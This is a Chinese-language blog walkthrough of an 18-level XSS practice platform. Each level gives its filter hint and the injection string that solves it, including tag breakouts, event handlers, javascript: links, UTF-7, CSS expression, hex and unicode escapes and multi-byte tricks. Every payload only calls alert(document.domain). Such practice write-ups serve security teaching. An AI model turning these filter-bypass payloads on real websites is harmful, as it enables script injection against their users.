0x01、前言
最近发现了一个挺好玩的XSS练习平台,大家可以没事了玩一玩。至于相关知识,已经在以前的博客上介绍过,大家对于基础可去看看。练习平台、基础知识,好了,不多说,我们开撸
我们要做的就是alert(document.domain),还有提示,我们只要在搜索框输入即可。
我们可以每次都输入一个数字例如123测试下
0x02、具体实现过程
1、首先输入123测试我们输入存在的位置,查看源代码发现并没有什么标签包尾
<script>alert(document.domain)</script>
第一题比较简单,这样可直接弹出
2、继续先测试,发现被放进了标签里,那么我们首先得闭合标签
"><script>alert(document.domain)</script><"
也可以直接在标签里触发:(单击search输入框)
" onclick=alert(document.domain) value="asd
3、测试发现没有被标签所包含,所以输入最简单的进行
<script>alert(document.domain)</script>
发现<>被转义了,
Hint:The input in text box is properly escaped.
可以用burp进行抓包,将p2处继续插入,可以弹出
<script>alert(document.domain)</script>
4、Hint:invisible input field
发现一个隐藏的提交框,复原后进行测试发现p3被标签包围,和2差不多,闭合标签
">;<script>alert(document.domain);</script><"
5、Hint:length limited text box
测试还是得闭合标签,并且修改长度
">;<script>alert(document.domain);</script><"
6、Hint:event handler attributes
测试发现被标签包围,老套路
">;<script>alert(document.domain);</script><"
发现转义了><,那么我们可以使用on事件在input内触发
" onclick=alert(document.domain) value="asd
7、Hint:nearly the same… but a bit more tricky.
继续测试,发现这次”和><都被转义了,真是太可怕了。
" onclick=alert(document.domain)
依然可以,因为第一个符号只是被当成显示的内容所显示出来,换其他字符同样可以得出
8、Hint:the ‘javascript’ scheme.
进行测试发现输入的构造成了一个链接,
使用
javascript:alert(document.domain);
当点击这个链接时,会构造出弹框。
9、Hint:UTF-7 XSS
必须使用IE 8.0 进行提交可以实现
具体方法:
XSS CODE: <script>alert(document.domain)</script>
UTF-7 XSS Encode: +ADw-script+AD4-alert(document.domain)+ADw-/script+AD4-
将 UTF-7 XSS Encode 添上 UTF-7 Bom 让它成为 UTF-7 的编码
+/v8 +ADw-script+AD4-alert(document.domain)+ADw-/script+AD4-
Bom 与 Encode 之间有一个空格
在bom与encode之间也可以存在其他代码,
如:+/v8 just for fun +ADw-script+AD4-alert(’90sec’)+ADw-/script+AD4-
如果是POST提交,就可以直接把 UTF-7 编码字符提交出去
如果是GET方式,得先把编码字符进行URL转码,因为浏览器会吞掉+号
10、Hint:s/domain//g;
提交之后发现过滤了domain,可以进行双写绕过他
" onclick=alert(document.domdomainain) value="asd
11、Hint:s/script/xscript/ig;” and “s/on[a-z]+=/onxxx=/ig;” and “s/style=/stxxx=/ig;
分别输入上面两个常用的发现script转化为xscript、on转换为onxxx
"><iframe src="javascr	ipt:alert(document.domain);"></iframe>
可以弹出,避免使用了script和on
12、Hint:”s/[\x00-\x20\<\>\”\’
经过测试,过滤了尖括号、双引号、空格
``onmouseover=alert(document.domain);
onmouseover属性在鼠标指针移动到元素上时触发。
13、Hint:style attribute
将<>和”进行了转义
考察的是CSS样式属性的XSS,在CSS样式中利用expression实现JavaScript中的onmouseover/onmouseout事件
expression(onmouseover=function(){alert(document.domain)})
在IE下实现。
14、Hint:s/(url|script|eval|expression)/xxx/ig
正则过滤了这几个敏感数,加入注释符即可绕过
expre/**/ssion(onmouseover=function(){alert(document.domain)})
15、Hint:document.write();
对><进行了编码,而且处在document.write()函数中,可以对><进行16进制编码
\\x3Cscript\\x3Ealert(document.domain)\\x3C/script\\x3E
16、Hint:”document.write();” and “s/\x/\\x/ig;”
和15差不多,就是进行了Unicode编码
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
17、Hint:multi-byte character
思路跟php宽字节注入一样,输入某个特殊的字节,吃掉双引号,%A7闭合最后的双引号
1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
18、Hint:us-ascii high bit issue
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE